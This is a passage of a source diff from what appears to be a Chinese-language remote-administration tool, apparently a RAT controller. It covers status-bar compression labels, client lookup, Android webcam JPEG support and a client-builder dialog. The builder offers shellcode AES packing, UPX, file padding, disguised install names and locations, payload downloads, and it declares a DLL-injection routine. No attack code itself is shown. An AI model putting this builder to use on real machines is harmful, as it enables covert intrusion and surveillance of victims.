{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
||||
};
|
||||
// 压缩算法标注:服务端按连接自动识别(首个压缩包解压时定型),追加在加密协议后面。
|
||||
// 不改 FormatL 的格式串,避免影响多语言翻译 key。
|
||||
CString typeText = typMap[type].c_str();
|
||||
switch (ctx->GetCompressMethod()) {
|
||||
case COMPRESS_ZSTD: typeText += " [ZSTD]"; break;
|
||||
case COMPRESS_ZLIB: typeText += " [ZLIB]"; break;
|
||||
case COMPRESS_NONE: typeText += " [NONE]"; break;
|
||||
default: break; // COMPRESS_UNKNOWN:不标注
|
||||
}
|
||||
CString processInfo;
|
||||
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
|
||||
processInfo.FormatL("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
|
||||
@@ -10274,7 +10487,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + _L(" 位 "), res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
|
||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), elapsed,
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typeText.GetString(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||
// 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
|
||||
// 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
|
||||
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
|
||||
@@ -13556,6 +13769,22 @@ context* CMy2015RemoteDlg::FindHostByClientID(uint64_t clientID)
|
||||
return ctx;
|
||||
}
|
||||
|
||||
bool CMy2015RemoteDlg::GetHostClientType(uint64_t clientID, CString& clientType)
|
||||
{
|
||||
clientType.Empty();
|
||||
bool found = false;
|
||||
EnterCriticalSection(&m_cs);
|
||||
auto it = m_ClientIndex.find(clientID);
|
||||
if (it != m_ClientIndex.end() && it->second < m_HostList.size()) {
|
||||
if (context* ctx = m_HostList[it->second]) {
|
||||
clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
found = true;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return found;
|
||||
}
|
||||
|
||||
uint64_t CMy2015RemoteDlg::FindClientIDByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
|
||||
@@ -479,12 +479,19 @@ public:
|
||||
CString m_strFrpAddr; // FRP 地址 (IP:Port),由上级提供
|
||||
int m_nPaneTlsWidth = 60; // 状态栏 TLS 分区宽度(按当前语言实测文本宽度)
|
||||
int m_nPaneMcpWidth = 60; // 状态栏 MCP 分区宽度(按当前语言实测文本宽度)
|
||||
int m_nPaneFrpWidth = 250; // 状态栏 FRP 分区宽度(按当前文本实测)
|
||||
int m_nPaneRuntimeWidth = 180; // 运行统计分区宽度(按最长可能文本实测)
|
||||
int m_nPaneExpireWidth = 0; // 到期时间分区宽度(按当前文本实测;0 = 无授权/隐藏)
|
||||
void UpdateStatusBarStats(); // 更新状态栏统计信息
|
||||
void LayoutStatusPanes(); // 按窗口宽度布置状态栏分区(空间不足时按优先级隐藏)
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
CGridDialog * m_gridDlg = NULL;
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
context* FindHostByIP(const std::string& ip);
|
||||
context* FindHostByClientID(uint64_t clientID); // 线程安全:通过 clientID 精确查主连接
|
||||
// 线程安全:在 m_cs 内读取并返回值,避免调用方拿到裸指针后再访问附加数据;
|
||||
// 找不到主连接时返回 false。
|
||||
bool GetHostClientType(uint64_t clientID, CString& clientType);
|
||||
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全:在锁内获取ID
|
||||
void InjectTinyRunDll(const std::string& ip, int pid);
|
||||
NOTIFYICONDATA m_Nid;
|
||||
@@ -499,6 +506,8 @@ public:
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[77];
|
||||
CBitmap m_bmCompressZstd; // 实验功能→线缆压缩:ZSTD
|
||||
CBitmap m_bmCompressZlib; // 实验功能→线缆压缩:ZLIB
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -564,6 +573,8 @@ public:
|
||||
// 获取有效的主控地址(优先使用上级FRP配置)
|
||||
// 返回值:是否使用了FRP地址
|
||||
static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
|
||||
// 本地是否已启用自有 FRP(UseFrp + 主控地址;仅 64 位主控)
|
||||
static bool IsLocalFrpEnabled();
|
||||
void StartFrpcAuto(const FrpAutoConfig& cfg);
|
||||
void StopFrpcAuto();
|
||||
void InitFrpcAuto(); // 启动时自动恢复
|
||||
@@ -590,6 +601,10 @@ public:
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnExperimentTlsEnable();
|
||||
afx_msg void OnExperimentTlsDisable();
|
||||
// 线缆压缩切换(实验功能子菜单):写客户端配置并触发立即重连(zstd / zlib)
|
||||
afx_msg void OnExperimentCompressZstd();
|
||||
afx_msg void OnExperimentCompressZlib();
|
||||
VOID SwitchSelectedCompression(const char* mode);
|
||||
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS
|
||||
afx_msg void OnProtoSwitchTcp();
|
||||
afx_msg void OnProtoSwitchWs();
|
||||
|
||||
@@ -107,6 +107,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -142,6 +143,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -177,6 +179,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -214,6 +217,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -239,6 +243,7 @@
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="server_exports.def" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
@@ -330,6 +335,7 @@
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpTlsProxy.h" />
|
||||
<ClInclude Include="McpChat.h" />
|
||||
<ClInclude Include="McpBuildClient.h" />
|
||||
<ClInclude Include="McpInternal.h" />
|
||||
<ClInclude Include="McpMachine.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
@@ -403,6 +409,7 @@
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpTlsProxy.cpp" />
|
||||
<ClCompile Include="McpChat.cpp" />
|
||||
<ClCompile Include="McpBuildClient.cpp" />
|
||||
<ClCompile Include="McpInternal.cpp" />
|
||||
<ClCompile Include="McpMachine.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
@@ -590,6 +597,7 @@
|
||||
<Image Include="res\Bitmap\Refresh.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
||||
<Image Include="res\Bitmap\RunTest.bmp" />
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
|
||||
@@ -92,6 +92,7 @@
|
||||
<ClCompile Include="HostJson.cpp" />
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpChat.cpp" />
|
||||
<ClCompile Include="McpBuildClient.cpp" />
|
||||
<ClCompile Include="McpInternal.cpp" />
|
||||
<ClCompile Include="McpMachine.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
@@ -210,6 +211,7 @@
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpChat.h" />
|
||||
<ClInclude Include="McpBuildClient.h" />
|
||||
<ClInclude Include="McpInternal.h" />
|
||||
<ClInclude Include="McpMachine.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
@@ -377,5 +379,6 @@
|
||||
<Image Include="res\Bitmap\FileSpeed.bmp" />
|
||||
<Image Include="res\Bitmap\Disclaimer.bmp" />
|
||||
<Image Include="res\Bitmap\CopyName.bmp" />
|
||||
<Image Include="res\Bitmap\RunTest.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -13,6 +13,10 @@ enum FCCHandler {
|
||||
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
|
||||
// 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/
|
||||
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
|
||||
// Android 客户端直接发 JPEG(Camera2 ImageReader 输出)。服务端用 turbojpeg
|
||||
// 解码,不经过 VFW ICM——目标机不需要安装任何编解码器。
|
||||
// 值必须与 common/commands.h 的 WEBCAM_FOURCC_JPEG_DIRECT 一致。
|
||||
ENCODER_JPEG_DIRECT = mmioFOURCC('J', 'P', 'G', 'D'),
|
||||
};
|
||||
|
||||
/************************************************************************
|
||||
|
||||
@@ -47,6 +47,12 @@ enum Payload {
|
||||
Payload_PDF,
|
||||
};
|
||||
|
||||
// Linux / macOS / Android 是固定架构的预编译模板,没有 Windows 的安装/加壳/增肥语义。
|
||||
static bool IsWindowsTarget(int index)
|
||||
{
|
||||
return !(index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost);
|
||||
}
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
@@ -223,9 +229,9 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
, m_nWindowsCompress(CLIENT_COMPRESS_SC_AES_OLD)
|
||||
, m_nAnchorUserCheck(-1)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
@@ -904,6 +910,7 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel(); // 与上面的默认值保持一致
|
||||
|
||||
m_ComboLocation.InsertStringL(0, "ProgramData");
|
||||
m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin");
|
||||
@@ -995,10 +1002,12 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||||
return "";
|
||||
}
|
||||
|
||||
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||||
// 选 Linux / macOS / Android 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):这些 binary 是固定架构的预编译资源
|
||||
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||||
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||||
// - 运行模式 (m_ComboRunType):runningType 只有 Windows 客户端(ClientDll)消费
|
||||
// - 高级 group:安装位置 / 安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,
|
||||
// 全是 Windows 安装/伪装相关
|
||||
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
{
|
||||
static const int ids[] = {
|
||||
@@ -1006,8 +1015,11 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||||
// 加壳
|
||||
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||||
// 高级 group + 内部所有控件
|
||||
// 运行模式
|
||||
IDC_COMBO_RUNTYPE, IDC_STATIC_BUILD_MODE,
|
||||
// 高级 group + 内部所有控件(含「安装目录」下拉框与它的标签)
|
||||
IDC_STATIC_BUILD_ADVANCED,
|
||||
IDC_STATIC_LOCATION, IDC_COMBO_INSTALL_LOC,
|
||||
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||||
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||||
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||||
@@ -1019,6 +1031,41 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
}
|
||||
}
|
||||
|
||||
// 载荷类型 / 下载服务几行的可见性。非 Windows 目标一律隐藏:这些控件虽然已经被
|
||||
// EnableWindowsOnlyControls 置灰,但「置灰却还占着版面」会让人以为它们仍会生效。
|
||||
void CBuildDlg::UpdatePayloadControls()
|
||||
{
|
||||
const int index = m_ComboExe.GetCurSel();
|
||||
if (!IsWindowsTarget(index)) {
|
||||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
const bool scAes = m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES;
|
||||
m_ComboPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
|
||||
const bool fileServer = scAes && m_ComboPayload.GetCurSel() > Payload_Self;
|
||||
m_BtnFileServer.ShowWindow(fileServer ? SW_SHOW : SW_HIDE);
|
||||
const bool downloading = fileServer && m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
m_StaticDownload.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
}
|
||||
|
||||
// 菜单项联动:随机名称只影响安装目录/程序名,以管理员权限运行只有 Windows 客户端消费。
|
||||
void CBuildDlg::UpdateTargetMenuState(BOOL windowsTarget)
|
||||
{
|
||||
CMenu* sub = m_MainMenu.GetSubMenu(0);
|
||||
if (!sub || !GetSafeHwnd()) return;
|
||||
sub->EnableMenuItem(ID_RANDOM_NAME, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
sub->EnableMenuItem(ID_CLIENT_RUNAS_ADMIN, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
::DrawMenuBar(GetSafeHwnd());
|
||||
}
|
||||
|
||||
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
|
||||
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
|
||||
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
|
||||
@@ -1036,13 +1083,22 @@ void CBuildDlg::UpdateTlsAnchorState()
|
||||
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
|
||||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
|
||||
index == IndexTestRunSystem);
|
||||
// Linux/macOS/Android 模板里没有锚块(只有 Windows 的 client/ 侧编译了
|
||||
// common/tls_anchor.h),它们的信任锚由主控在线下发;文案要说清这一点,
|
||||
// 不能笼统写成「不含客户端」。
|
||||
const bool posixTarget = (index == IndexLinuxGhost || index == IndexMacGhost ||
|
||||
index == IndexAndroidGhost);
|
||||
|
||||
CString label;
|
||||
bool usable = false;
|
||||
if (!embeddable) {
|
||||
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
|
||||
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
|
||||
: _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
if (testRun)
|
||||
label = _TR("内嵌TLS信任锚(锚在ServerDll.dll里)");
|
||||
else if (posixTarget)
|
||||
label = _TR("内嵌TLS信任锚(仅Windows客户端模板支持)");
|
||||
else
|
||||
label = _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
|
||||
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
|
||||
} else if (!ServerTlsIdentity::IsReady()) {
|
||||
@@ -1078,9 +1134,31 @@ void CBuildDlg::OnCbnSelchangeComboProto()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||||
const int n = m_ComboExe.GetCurSel();
|
||||
const BOOL windowsTarget = IsWindowsTarget(n);
|
||||
|
||||
EnableWindowsOnlyControls(windowsTarget);
|
||||
UpdateTlsAnchorState();
|
||||
|
||||
// 加壳:非 Windows 目标切到「无」并记住 Windows 下的选择,切回时恢复。否则控件
|
||||
// 已置灰却还显示「ShellCode AES」,会让人以为生成时仍按它处理(生成代码其实会强制
|
||||
// 改成 NONE,界面和实际行为对不上)。
|
||||
if (!windowsTarget) {
|
||||
const int cur = m_ComboCompress.GetCurSel();
|
||||
if (cur != CLIENT_COMPRESS_NONE) {
|
||||
m_nWindowsCompress = cur;
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
}
|
||||
} else {
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_NONE &&
|
||||
m_nWindowsCompress != CLIENT_COMPRESS_NONE) {
|
||||
m_ComboCompress.SetCurSel(m_nWindowsCompress);
|
||||
}
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
}
|
||||
UpdateTargetMenuState(windowsTarget);
|
||||
UpdatePayloadControls();
|
||||
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
@@ -1150,14 +1228,13 @@ void CBuildDlg::OnClientRunasAdmin()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
{
|
||||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_ComboPayload.SetFocus();
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
// 记下用户在当前 Windows 目标下的加壳选择;切到 Linux/macOS/Android 时控件会置灰、
|
||||
// 显示值切到「无」,切回来时恢复这个值。
|
||||
if (IsWindowsTarget(m_ComboExe.GetCurSel()))
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
m_ComboPayload.SetFocus();
|
||||
static bool warned = false;
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||||
warned = true;
|
||||
@@ -1313,9 +1390,6 @@ void CBuildDlg::OnBnClickedCheckFileserver()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||||
{
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
}
|
||||
@@ -17,7 +17,8 @@ namespace ResFileName {
|
||||
extern const char* GHOST_X86;
|
||||
extern const char* GHOST_X64;
|
||||
extern const char* GHOST_LINUX;
|
||||
extern const char* GHOST_MACOS; // 预留
|
||||
extern const char* GHOST_MACOS;
|
||||
extern const char* GHOST_ANDROID;
|
||||
// TestRun 加载器
|
||||
extern const char* TESTRUN_X86;
|
||||
extern const char* TESTRUN_X64;
|
||||
@@ -109,6 +110,14 @@ public:
|
||||
void EnableWindowsOnlyControls(BOOL enable);
|
||||
CComboBox m_ComboLocation;
|
||||
|
||||
// 载荷/下载服务几行的可见性(由「目标是否 Windows」+「加壳方式」+「载荷类型」共同决定)
|
||||
void UpdatePayloadControls();
|
||||
// 菜单项联动:随机名称 / 以管理员权限运行只对 Windows 目标有意义
|
||||
void UpdateTargetMenuState(BOOL windowsTarget);
|
||||
// 非 Windows 目标期间暂存的加壳选择:控件置灰后仍显示旧值会让人误以为会按它生成,
|
||||
// 所以切到 Linux/macOS/Android 时先切到「无」,切回 Windows 时恢复。
|
||||
int m_nWindowsCompress;
|
||||
|
||||
// 内嵌服务端 TLS 信任锚(动态创建:不改 .rc,避免 GBK 资源文件的字节级编辑)。
|
||||
// 可用性三条件见 UpdateTlsAnchorState;生成时由 OnBnClickedOk 调用 EmbedTlsAnchorInto。
|
||||
CButton m_ChkTlsAnchor;
|
||||
|
||||
@@ -906,6 +906,16 @@ void CLicenseDlg::OnLicenseViewIPs()
|
||||
start = end + 1;
|
||||
}
|
||||
|
||||
// 按最后活跃时间倒序展示(新的在前);无时间戳/无法解析的记录排在最后。
|
||||
// 存储侧已保证最近上报的条目在前,这里再做一次稳定排序,兼容旧版本写下的
|
||||
// "首次出现倒序" 数据,打开对话框即可看到正确的顺序。
|
||||
std::stable_sort(records.begin(), records.end(),
|
||||
[](const IPRecord& a, const IPRecord& b) {
|
||||
int da = (a.daysAgo < 0) ? 0x7FFFFFFF : a.daysAgo;
|
||||
int db = (b.daysAgo < 0) ? 0x7FFFFFFF : b.daysAgo;
|
||||
return da < db;
|
||||
});
|
||||
|
||||
// 如果有记录被删除,保存更新后的 IP 列表
|
||||
if (removedCount > 0) {
|
||||
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||
|
||||
Loaded 100 of 196 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user